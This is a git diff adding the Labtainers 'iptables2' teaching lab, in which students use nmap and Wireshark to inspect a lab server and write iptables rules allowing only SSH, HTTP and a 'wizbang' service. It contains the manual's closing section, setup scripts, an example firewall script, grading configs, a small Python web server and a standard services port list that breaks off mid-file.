+\end{verbatim} + +Students are expected to have a basic +familiarity with the Linux command line, and the ability to edit files and +run simple shell scripts. Some experience with Wireshark is presumed, e.g., performance of +the wireshark-intro lab. + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer iptables2 +\end{verbatim} +\noindent A link to this lab manual will be displayed. + + +\begin{figure}[htb] +\begin{center} +\includegraphics [width=0.8\textwidth,natwidth=621,natheight=403]{iptables.jpg} +\end{center} +\caption{Network topology for the iptables lab} +\label{fig:topology} +\end{figure} + +\section{Lab Tasks} +\subsection{Explore} +The Wireshark utility is installed on the firewall. +Use it to view network traffic through the firewall, and to +debug your firewall rules. Start it from the firewall terminal: +\begin{verbatim} +wireshark & +\end{verbatim} +\noindent Then select the eth0 interface. + +On the client terminal use the nmap utility +to list (some of the) open ports on the server: + +\begin{verbatim} + nmap server +\end{verbatim} +\noindent + +\noindent Use wget to confirm that the server response to HTTP requests: +\begin{verbatim} + wget server & +\end{verbatim} +\noindent Confirm an ssh service if offered -- you need not login when prompted, +just use {\tt ctrl C} to exit once you get a response from the server. +\begin{verbatim} + ssh server +\end{verbatim} +\noindent Finally, confirm that telnet is offered (again, no need to login): +\begin{verbatim} + telnet server +\end{verbatim} +\noindent Observe the traffic in wireshark, making note the +source IP addresses and the destination ports used by the +clients when connecting to the server + +\subsection{Use iptables to limit traffic} +The iptables utility is installed on the ``firewall'' component. +Use it to prevent the firewall from forwarding any traffic +to the server other than SSH and HTTP. + +You may reference and experiment with the example firewall script that +is on the firewall component in the home directory. +To run the {\tt example\_fw.sh} script, use: +\begin{verbatim} + sudo ./example_fw.sh +\end{verbatim} +View the content of the script to understand what it does. +Consider putting your iptables commands in a script so it is easy +to test and reconfigure the iptables if you restart the lab. + +Note the last line in the {\tt example\_fw.sh} script directs iptables +to log dropped packets. You can view these from one of the firewall terminal +tabs via: +\begin{verbatim} + tail -f /var/log/iptables.log +\end{verbatim} + +After modifying your iptables configuration, use the applications on the client to +demonstrate that the firewall only allows the desired traffic. +Watch the traffic in wireshark to see that the TCP handshake fails +when attempting to connect to filtered ports. + +Use nmap to confirm the proper configuration: +\begin{verbatim} + nmap server +\end{verbatim} + + +\subsection{Open new service port} +The client computer includes a {\tt wizbang} program that you must now allow to send +traffic to the server. Run the program from the client, and observe which port it +attempts to use within wireshark: +\begin{verbatim} + ./wizbang +\end{verbatim} +\noindent Then alter your iptables to allow this service. After adjusting your iptables, +confirm that you can run the {\tt wizbang} program successfully. +Also, again use nmap to confirm the proper configuration +\begin{verbatim} + nmap server +\end{verbatim} + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\copyrightnotice + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/read_first.txt new file mode 100644 index 000000000..4fb3c65b4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/iptables.pdf + +You may open the manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_bin/fixlocal.sh new file mode 100755 index 000000000..c614bf927 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_bin/fixlocal.sh @@ -0,0 +1,7 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# +sudo sed -i s!/var/log/ulog/syslogemu.log!/var/log/iptables.log! /etc/ulogd.conf +sudo systemctl restart ulogd diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_bin/notify b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_bin/notify new file mode 100644 index 000000000..5b274b126 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_bin/notify @@ -0,0 +1 @@ +/sbin/iptables OPEN iptables diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_bin/notify_cb.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_bin/notify_cb.sh new file mode 100755 index 000000000..dd1e83d01 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_bin/notify_cb.sh @@ -0,0 +1,27 @@ +#!/bin/bash +# +# Callback from an inotify event +# +the_path=$1 +the_mode=$2 +the_user=$3 +the_cmd=$4 +if [[ "$the_path" == /sbin/iptables ]];then + # + # inotify says iptables ran. Determine if it may have had an effect -- e.g., + # do not break up timestamp ranges if student simply runs a sudo iptables -L + # + # + # Only care if run as root. Make a record if consequential iptables command, or via rc.local + # + if [[ $the_user == root ]]; then + if [[ "$the_cmd" == iptables* ]]; then + if [[ "$the_cmd" == *-A* ]]; then + echo "is root and -A $the_cmd" + fi + else + # if run from script, e.g., rc.local, assume effects + echo $the_cmd + fi + fi +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/example_fw.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/example_fw.sh new file mode 100755 index 000000000..cf41c3f5c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/example_fw.sh @@ -0,0 +1,31 @@ +#!/bin/bash +# +# This example IPTABLES firewall will only allow SSH traffic +# to be forwarded +# +IPTABLES=/sbin/iptables + +#start and flush +$IPTABLES -F +$IPTABLES -t nat -F +$IPTABLES -X +# +# By default, do not allow any forwarding or accept any traffic +# destined for the firewall. +# +$IPTABLES -P FORWARD DROP +$IPTABLES -P INPUT DROP +$IPTABLES -P OUTPUT DROP + +# Allow forwarding of traffic associated with any established session +$IPTABLES -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT + +# Allow SSH traffic on port 22 +$IPTABLES -A FORWARD -p tcp --dport 22 -j ACCEPT + +# loopback device (internal traffic) +iptables -A INPUT -i lo -p all -j ACCEPT + +# log IPTABLES filtering actions +iptables -A FORWARD -j NFLOG -m limit --limit 2/min --nflog-prefix "IPTABLES DROPPED" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/goals.config new file mode 100644 index 000000000..f7e3d50a5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/goals.config @@ -0,0 +1,22 @@ +# goals.config +# +# Please see the Labtainer Lab Designer Guide +# +# results of nmap should show ssh & http, but not telnet +# +# was each port open? +_ssh_tmp = matchany : string_equal : ssh_open : answer=open +_http_tmp = matchany : string_equal : http_open : answer=open +_telnet_tmp = matchany : string_equal : telnet_open : answer=open + +# group results into time ranges delimited by iptables commands +_ssh = time_during : _ssh_tmp : iptables +_http = time_during : _http_tmp : iptables +_telnet = time_during : _telnet_tmp : iptables +_wizbang = time_during : _wizbang_tmp : iptables + +# DOC: ssh & http telnet closed +first_ports_ok = boolean : ( _ssh and _http and_not _telnet ) +# DOC: ssh & http and wizbang were open, telnet closed +second_ports_ok = boolean : ( _ssh and _http and _wizbang and_not _telnet ) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/results.config new file mode 100644 index 000000000..a987a8656 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/results.config @@ -0,0 +1,13 @@ +# results.config +# +# Please see the Labtainer Lab Designer Guide +# +# nmap results, note which ports are open +# +# results of nmap scans +ssh_open = client:nmap.stdout : 2 : STARTSWITH : 22/tcp +http_open = client:nmap.stdout : 2 : STARTSWITH : 80/tcp +telnet_open = client:nmap.stdout : 2 : STARTSWITH : 23/tcp +_wizbang_tmp = client:wizbang.stdout : CONTAINS : Sending instruction +# time brackets delimited by consequential invocations of iptables +iptables = firewall:iptables : TIME_DELIM diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/MyHTTPServer.py new file mode 100755 index 000000000..4f3fb47bc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/MyHTTPServer.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import os +import sys + +PORT = 80 + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() + +Handler = MyHTTPHandler + +httpd = SocketServer.TCPServer(("", PORT), Handler) + +print "serving at port", PORT + +httpd.serve_forever() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_bin/fixlocal.sh new file mode 100755 index 000000000..7858d3a54 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_bin/fixlocal.sh @@ -0,0 +1,10 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# +sudo systemctl enable httpserver.service +sudo systemctl start httpserver.service + +sudo systemctl enable wizbang.service +sudo systemctl start wizbang.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/etc/rc.local new file mode 100755 index 000000000..5c8829bda --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/etc/rc.local @@ -0,0 +1,18 @@ +#!/bin/bash +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + +# route to client +route add -net 172.24.0.0/24 gw 172.25.0.4 + +exit 0 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/etc/services b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/etc/services new file mode 100644 index 000000000..9901fb01b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/etc/services @@ -0,0 +1,613 @@ +# Network services, Internet style +# +# Note that it is presently the policy of IANA to assign a single well-known +# port number for both TCP and UDP; hence, officially ports have two entries +# even if the protocol doesn't support UDP operations. +# +# Updated from http://www.iana.org/assignments/port-numbers and other +# sources like http://www.freebsd.org/cgi/cvsweb.cgi/src/etc/services . +# New ports will be added on request if they have been officially assigned +# by IANA and used in the real-world or are needed by a debian package. +# If you need a huge list of used numbers please install the nmap package. + +tcpmux 1/tcp # TCP port service multiplexer +echo 7/tcp +echo 7/udp +discard 9/tcp sink null +discard 9/udp sink null +systat 11/tcp users +daytime 13/tcp +daytime 13/udp +netstat 15/tcp +qotd 17/tcp quote +msp 18/tcp # message send protocol +msp 18/udp +chargen 19/tcp ttytst source +chargen 19/udp ttytst source +ftp-data 20/tcp +ftp 21/tcp +fsp 21/udp fspd +ssh 22/tcp # SSH Remote Login Protocol +ssh 22/udp +telnet 23/tcp +telnetx 2023/tcp +smtp 25/tcp mail +time 37/tcp timserver +time 37/udp timserver +rlp 39/udp resource # resource location +nameserver 42/tcp name # IEN 116 +whois 43/tcp nicname +tacacs 49/tcp # Login Host Protocol (TACACS) +tacacs 49/udp +re-mail-ck 50/tcp # Remote Mail Checking Protocol +re-mail-ck 50/udp +domain 53/tcp # Domain Name Server +domain 53/udp +mtp 57/tcp # deprecated +tacacs-ds 65/tcp # TACACS-Database Service +tacacs-ds 65/udp +bootps 67/tcp # BOOTP server +bootps 67/udp +bootpc 68/tcp # BOOTP client +bootpc 68/udp +tftp 69/udp +gopher 70/tcp # Internet Gopher +gopher 70/udp +rje 77/tcp netrjs +finger 79/tcp +http 80/tcp www # WorldWideWeb HTTP +http 80/udp # HyperText Transfer Protocol +link 87/tcp ttylink +kerberos 88/tcp kerberos5 krb5 kerberos-sec # Kerberos v5 +kerberos 88/udp kerberos5 krb5 kerberos-sec # Kerberos v5 +supdup 95/tcp +hostnames 101/tcp hostname # usually from sri-nic +iso-tsap 102/tcp tsap # part of ISODE +acr-nema 104/tcp dicom # Digital Imag. & Comm. 300 +acr-nema 104/udp dicom +csnet-ns 105/tcp cso-ns # also used by CSO name server +csnet-ns 105/udp cso-ns +rtelnet 107/tcp # Remote Telnet +rtelnet 107/udp +pop2 109/tcp postoffice pop-2 # POP version 2 +pop2 109/udp pop-2 +pop3 110/tcp pop-3 # POP version 3 +pop3 110/udp pop-3 +sunrpc 111/tcp portmapper # RPC 4.0 portmapper +sunrpc 111/udp portmapper +auth 113/tcp authentication tap ident +sftp 115/tcp +uucp-path 117/tcp +nntp 119/tcp readnews untp # USENET News Transfer Protocol +ntp 123/tcp +ntp 123/udp # Network Time Protocol +pwdgen 129/tcp # PWDGEN service +pwdgen 129/udp +loc-srv 135/tcp epmap # Location Service +loc-srv 135/udp epmap +netbios-ns 137/tcp # NETBIOS Name Service +netbios-ns 137/udp +netbios-dgm 138/tcp # NETBIOS Datagram Service +netbios-dgm 138/udp +netbios-ssn 139/tcp # NETBIOS session service +netbios-ssn 139/udp +imap2 143/tcp imap # Interim Mail Access P 2 and 4 +imap2 143/udp imap +snmp 161/tcp # Simple Net Mgmt Protocol +snmp 161/udp +snmp-trap 162/tcp snmptrap # Traps for SNMP +snmp-trap 162/udp snmptrap +cmip-man 163/tcp # ISO mgmt over IP (CMOT) +cmip-man 163/udp +cmip-agent 164/tcp +cmip-agent 164/udp +mailq 174/tcp # Mailer transport queue for Zmailer +mailq 174/udp +xdmcp 177/tcp # X Display Mgr. Control Proto +xdmcp 177/udp +nextstep 178/tcp NeXTStep NextStep # NeXTStep window +nextstep 178/udp NeXTStep NextStep # server +bgp 179/tcp # Border Gateway Protocol +bgp 179/udp +prospero 191/tcp # Cliff Neuman's Prospero +prospero 191/udp +irc 194/tcp # Internet Relay Chat +irc 194/udp +smux 199/tcp # SNMP Unix Multiplexer +smux 199/udp +at-rtmp 201/tcp # AppleTalk routing +at-rtmp 201/udp +at-nbp 202/tcp # AppleTalk name binding +at-nbp 202/udp +at-echo 204/tcp # AppleTalk echo +at-echo 204/udp +at-zis 206/tcp # AppleTalk zone information +at-zis 206/udp +qmtp 209/tcp # Quick Mail Transfer Protocol +qmtp 209/udp +z3950 210/tcp wais # NISO Z39.50 database +z3950 210/udp wais +ipx 213/tcp # IPX +ipx 213/udp +imap3 220/tcp # Interactive Mail Access +imap3 220/udp # Protocol v3 +pawserv 345/tcp # Perf Analysis Workbench +pawserv 345/udp +zserv 346/tcp # Zebra server +zserv 346/udp +fatserv 347/tcp # Fatmen Server +fatserv 347/udp +rpc2portmap 369/tcp +rpc2portmap 369/udp # Coda portmapper +codaauth2 370/tcp +codaauth2 370/udp # Coda authentication server +clearcase 371/tcp Clearcase +clearcase 371/udp Clearcase +ulistserv 372/tcp # UNIX Listserv +ulistserv 372/udp +ldap 389/tcp # Lightweight Directory Access Protocol +ldap 389/udp +imsp 406/tcp # Interactive Mail Support Protocol +imsp 406/udp +svrloc 427/tcp # Server Location +svrloc 427/udp +https 443/tcp # http protocol over TLS/SSL +https 443/udp +snpp 444/tcp # Simple Network Paging Protocol +snpp 444/udp +microsoft-ds 445/tcp # Microsoft Naked CIFS +microsoft-ds 445/udp +kpasswd 464/tcp +kpasswd 464/udp +urd 465/tcp ssmtp smtps # URL Rendesvous Directory for SSM +saft 487/tcp # Simple Asynchronous File Transfer +saft 487/udp +isakmp 500/tcp # IPsec - Internet Security Association +isakmp 500/udp # and Key Management Protocol +rtsp 554/tcp # Real Time Stream Control Protocol +rtsp 554/udp +nqs 607/tcp # Network Queuing system +nqs 607/udp +npmp-local 610/tcp dqs313_qmaster # npmp-local / DQS +npmp-local 610/udp dqs313_qmaster +npmp-gui 611/tcp dqs313_execd # npmp-gui / DQS +npmp-gui 611/udp dqs313_execd +hmmp-ind 612/tcp dqs313_intercell # HMMP Indication / DQS +hmmp-ind 612/udp dqs313_intercell +asf-rmcp 623/udp # ASF Remote Management and Control Protocol +qmqp 628/tcp +qmqp 628/udp +ipp 631/tcp # Internet Printing Protocol +ipp 631/udp +# +# UNIX specific services +# +exec 512/tcp +biff 512/udp comsat +login 513/tcp +who 513/udp whod +shell 514/tcp cmd # no passwords used +syslog 514/udp +printer 515/tcp spooler # line printer spooler +talk 517/udp +ntalk 518/udp +route 520/udp router routed # RIP +timed 525/udp timeserver +tempo 526/tcp newdate +courier 530/tcp rpc +conference 531/tcp chat +netnews 532/tcp readnews +netwall 533/udp # for emergency broadcasts +gdomap 538/tcp # GNUstep distributed objects +gdomap 538/udp +uucp 540/tcp uucpd # uucp daemon +klogin 543/tcp # Kerberized `rlogin' (v5) +kshell 544/tcp krcmd # Kerberized `rsh' (v5) +dhcpv6-client 546/tcp +dhcpv6-client 546/udp +dhcpv6-server 547/tcp +dhcpv6-server 547/udp +afpovertcp 548/tcp # AFP over TCP +afpovertcp 548/udp +idfp 549/tcp +idfp 549/udp +remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem +nntps 563/tcp snntp # NNTP over SSL +nntps 563/udp snntp +submission 587/tcp # Submission [RFC4409] +submission 587/udp +ldaps 636/tcp # LDAP over SSL +ldaps 636/udp +tinc 655/tcp # tinc control port +tinc 655/udp +silc 706/tcp +silc 706/udp +kerberos-adm 749/tcp # Kerberos `kadmin' (v5) +# +webster 765/tcp # Network dictionary +webster 765/udp +rsync 873/tcp +rsync 873/udp +ftps-data 989/tcp # FTP over SSL (data) +ftps 990/tcp +telnets 992/tcp # Telnet over SSL +telnets 992/udp +imaps 993/tcp # IMAP over SSL +imaps 993/udp +ircs 994/tcp # IRC over SSL +ircs 994/udp +pop3s 995/tcp # POP-3 over SSL +pop3s 995/udp +# +# From ``Assigned Numbers'': +# +#> The Registered Ports are not controlled by the IANA and on most systems +#> can be used by ordinary user processes or programs executed by ordinary +#> users. +# +#> Ports are used in the TCP [45,106] to name the ends of logical +#> connections which carry long term conversations. For the purpose of +#> providing services to unknown callers, a service contact port is +#> defined. This list specifies the port used by the server process as its +#> contact port. While the IANA can not control uses of these ports it +#> does register or list uses of these ports as a convienence to the +#> community. +# +socks 1080/tcp # socks proxy server +socks 1080/udp +proofd 1093/tcp +proofd 1093/udp +rootd 1094/tcp +rootd 1094/udp +openvpn 1194/tcp +openvpn 1194/udp +rmiregistry 1099/tcp # Java RMI Registry +rmiregistry 1099/udp +kazaa 1214/tcp +kazaa 1214/udp +nessus 1241/tcp # Nessus vulnerability +nessus 1241/udp # assessment scanner +lotusnote 1352/tcp lotusnotes # Lotus Note +lotusnote 1352/udp lotusnotes +ms-sql-s 1433/tcp # Microsoft SQL Server +ms-sql-s 1433/udp +ms-sql-m 1434/tcp # Microsoft SQL Monitor +ms-sql-m 1434/udp +ingreslock 1524/tcp +ingreslock 1524/udp +prospero-np 1525/tcp # Prospero non-privileged +prospero-np 1525/udp +datametrics 1645/tcp old-radius +datametrics 1645/udp old-radius +sa-msg-port 1646/tcp old-radacct +sa-msg-port 1646/udp old-radacct +kermit 1649/tcp +kermit 1649/udp +groupwise 1677/tcp +groupwise 1677/udp +l2f 1701/tcp l2tp +l2f 1701/udp l2tp +radius 1812/tcp +radius 1812/udp +radius-acct 1813/tcp radacct # Radius Accounting +radius-acct 1813/udp radacct +msnp 1863/tcp # MSN Messenger +msnp 1863/udp +unix-status 1957/tcp # remstats unix-status server +log-server 1958/tcp # remstats log server +remoteping 1959/tcp # remstats remoteping server +cisco-sccp 2000/tcp # Cisco SCCP +cisco-sccp 2000/udp +search 2010/tcp ndtp +pipe-server 2010/tcp pipe_server +nfs 2049/tcp # Network File System +nfs 2049/udp # Network File System +gnunet 2086/tcp +gnunet 2086/udp +rtcm-sc104 2101/tcp # RTCM SC-104 IANA 1/29/99 +rtcm-sc104 2101/udp +gsigatekeeper 2119/tcp +gsigatekeeper 2119/udp +gris 2135/tcp # Grid Resource Information Server +gris 2135/udp +cvspserver 2401/tcp # CVS client/server operations +cvspserver 2401/udp +venus 2430/tcp # codacon port +venus 2430/udp # Venus callback/wbc interface +venus-se 2431/tcp # tcp side effects +venus-se 2431/udp # udp sftp side effect +codasrv 2432/tcp # not used +codasrv 2432/udp # server port +codasrv-se 2433/tcp # tcp side effects +codasrv-se 2433/udp # udp sftp side effect +mon 2583/tcp # MON traps +mon 2583/udp +dict 2628/tcp # Dictionary server +dict 2628/udp +f5-globalsite 2792/tcp +f5-globalsite 2792/udp +gsiftp 2811/tcp +gsiftp 2811/udp +gpsd 2947/tcp +gpsd 2947/udp +gds-db 3050/tcp gds_db # InterBase server +gds-db 3050/udp gds_db +icpv2 3130/tcp icp # Internet Cache Protocol +icpv2 3130/udp icp +iscsi-target 3260/tcp +mysql 3306/tcp +mysql 3306/udp +nut 3493/tcp # Network UPS Tools +nut 3493/udp +distcc 3632/tcp # distributed compiler +distcc 3632/udp +daap 3689/tcp # Digital Audio Access Protocol +daap 3689/udp +svn 3690/tcp subversion # Subversion protocol +svn 3690/udp subversion +suucp 4031/tcp # UUCP over SSL +suucp 4031/udp +sysrqd 4094/tcp # sysrq daemon +sysrqd 4094/udp +sieve 4190/tcp # ManageSieve Protocol +epmd 4369/tcp # Erlang Port Mapper Daemon +epmd 4369/udp +remctl 4373/tcp # Remote Authenticated Command Service +remctl 4373/udp +f5-iquery 4353/tcp # F5 iQuery +f5-iquery 4353/udp +ipsec-nat-t 4500/udp # IPsec NAT-Traversal [RFC3947] +iax 4569/tcp # Inter-Asterisk eXchange +iax 4569/udp +mtn 4691/tcp # monotone Netsync Protocol +mtn 4691/udp +radmin-port 4899/tcp # RAdmin Port +radmin-port 4899/udp +rfe 5002/udp # Radio Free Ethernet +rfe 5002/tcp +mmcc 5050/tcp # multimedia conference control tool (Yahoo IM) +mmcc 5050/udp +sip 5060/tcp # Session Initiation Protocol +sip 5060/udp +sip-tls 5061/tcp +sip-tls 5061/udp +aol 5190/tcp # AIM +aol 5190/udp +xmpp-client 5222/tcp jabber-client # Jabber Client Connection +xmpp-client 5222/udp jabber-client +xmpp-server 5269/tcp jabber-server # Jabber Server Connection +xmpp-server 5269/udp jabber-server +cfengine 5308/tcp +cfengine 5308/udp +mdns 5353/tcp # Multicast DNS +mdns 5353/udp +postgresql 5432/tcp postgres # PostgreSQL Database +postgresql 5432/udp postgres +freeciv 5556/tcp rptp # Freeciv gameplay +freeciv 5556/udp +amqps 5671/tcp # AMQP protocol over TLS/SSL +amqp 5672/tcp +amqp 5672/udp +amqp 5672/sctp +ggz 5688/tcp # GGZ Gaming Zone +ggz 5688/udp +x11 6000/tcp x11-0 # X Window System +x11 6000/udp x11-0 +x11-1 6001/tcp +x11-1 6001/udp +x11-2 6002/tcp +x11-2 6002/udp +x11-3 6003/tcp +x11-3 6003/udp +x11-4 6004/tcp +x11-4 6004/udp +x11-5 6005/tcp +x11-5 6005/udp +x11-6 6006/tcp +x11-6 6006/udp +x11-7 6007/tcp +x11-7 6007/udp +gnutella-svc 6346/tcp # gnutella +gnutella-svc 6346/udp +gnutella-rtr 6347/tcp # gnutella +gnutella-rtr 6347/udp +sge-qmaster 6444/tcp sge_qmaster # Grid Engine Qmaster Service +sge-qmaster 6444/udp sge_qmaster +sge-execd 6445/tcp sge_execd # Grid Engine Execution Service +sge-execd 6445/udp sge_execd +mysql-proxy 6446/tcp # MySQL Proxy +mysql-proxy 6446/udp +afs3-fileserver 7000/tcp bbs # file server itself +afs3-fileserver 7000/udp bbs +afs3-callback 7001/tcp # callbacks to cache managers +afs3-callback 7001/udp +afs3-prserver 7002/tcp # users & groups database +afs3-prserver 7002/udp +afs3-vlserver 7003/tcp # volume location database +afs3-vlserver 7003/udp +afs3-kaserver 7004/tcp # AFS/Kerberos authentication +afs3-kaserver 7004/udp +afs3-volser 7005/tcp # volume managment server +afs3-volser 7005/udp +afs3-errors 7006/tcp # error interpretation service +afs3-errors 7006/udp +afs3-bos 7007/tcp # basic overseer process +afs3-bos 7007/udp +afs3-update 7008/tcp # server-to-server updater +afs3-update 7008/udp +afs3-rmtsys 7009/tcp # remote cache manager service +afs3-rmtsys 7009/udp +font-service 7100/tcp xfs # X Font Service +font-service 7100/udp xfs +http-alt 8080/tcp webcache # WWW caching service +http-alt 8080/udp +bacula-dir 9101/tcp # Bacula Director +bacula-dir 9101/udp +bacula-fd 9102/tcp # Bacula File Daemon +bacula-fd 9102/udp +bacula-sd 9103/tcp # Bacula Storage Daemon +bacula-sd 9103/udp +xmms2 9667/tcp # Cross-platform Music Multiplexing System +xmms2 9667/udp +nbd 10809/tcp # Linux Network Block Device +zabbix-agent 10050/tcp # Zabbix Agent +zabbix-agent 10050/udp +zabbix-trapper 10051/tcp # Zabbix Trapper +zabbix-trapper 10051/udp +amanda 10080/tcp # amanda backup services +amanda 10080/udp +dicom 11112/tcp +hkp 11371/tcp # OpenPGP HTTP Keyserver +hkp 11371/udp +bprd 13720/tcp # VERITAS NetBackup +bprd 13720/udp +bpdbm 13721/tcp # VERITAS NetBackup +bpdbm 13721/udp +bpjava-msvc 13722/tcp # BP Java MSVC Protocol +bpjava-msvc 13722/udp +vnetd 13724/tcp # Veritas Network Utility +vnetd 13724/udp +bpcd 13782/tcp # VERITAS NetBackup +bpcd 13782/udp +vopied 13783/tcp # VERITAS NetBackup +vopied 13783/udp +db-lsp 17500/tcp # Dropbox LanSync Protocol +dcap 22125/tcp # dCache Access Protocol +gsidcap 22128/tcp # GSI dCache Access Protocol +wnn6 22273/tcp # wnn6 +wnn6 22273/udp + +# +# Datagram Delivery Protocol services +# +rtmp 1/ddp # Routing Table Maintenance Protocol +nbp 2/ddp # Name Binding Protocol +echo 4/ddp # AppleTalk Echo Protocol +zip 6/ddp # Zone Information Protocol + +#========================================================================= +# The remaining port numbers are not as allocated by IANA. +#========================================================================= + +# Kerberos (Project Athena/MIT) services +# Note that these are for Kerberos v4, and are unofficial. Sites running +# v4 should uncomment these and comment out the v5 entries above. +# +kerberos4 750/udp kerberos-iv kdc # Kerberos (server) +kerberos4 750/tcp kerberos-iv kdc +kerberos-master 751/udp kerberos_master # Kerberos authentication +kerberos-master 751/tcp +passwd-server 752/udp passwd_server # Kerberos passwd server +krb-prop 754/tcp krb_prop krb5_prop hprop # Kerberos slave propagation +krbupdate 760/tcp kreg # Kerberos registration +swat 901/tcp # swat +kpop 1109/tcp # Pop with Kerberos +knetd 2053/tcp # Kerberos de-multiplexor +zephyr-srv 2102/udp # Zephyr server +zephyr-clt 2103/udp # Zephyr serv-hm connection +zephyr-hm 2104/udp # Zephyr hostmanager +eklogin 2105/tcp # Kerberos encrypted rlogin +# Hmmm. Are we using Kv4 or Kv5 now? Worrying. +# The following is probably Kerberos v5 --- ajt@debian.org (11/02/2000) +kx 2111/tcp # X over Kerberos +iprop 2121/tcp # incremental propagation +# +# Unofficial but necessary (for NetBSD) services +# +supfilesrv 871/tcp # SUP server +supfiledbg 1127/tcp # SUP debugging + +# +# Services added for the Debian GNU/Linux distribution +# +linuxconf 98/tcp # LinuxConf +poppassd 106/tcp # Eudora +poppassd 106/udp +moira-db 775/tcp moira_db # Moira database +moira-update 777/tcp moira_update # Moira update protocol +moira-ureg 779/udp moira_ureg # Moira user registration +spamd 783/tcp # spamassassin daemon +omirr 808/tcp omirrd # online mirror +omirr 808/udp omirrd +customs 1001/tcp # pmake customs server +customs 1001/udp +skkserv 1178/tcp # skk jisho server port +predict 1210/udp # predict -- satellite tracking +rmtcfg 1236/tcp # Gracilis Packeten remote config server +wipld 1300/tcp # Wipl network monitor +xtel 1313/tcp # french minitel +xtelw 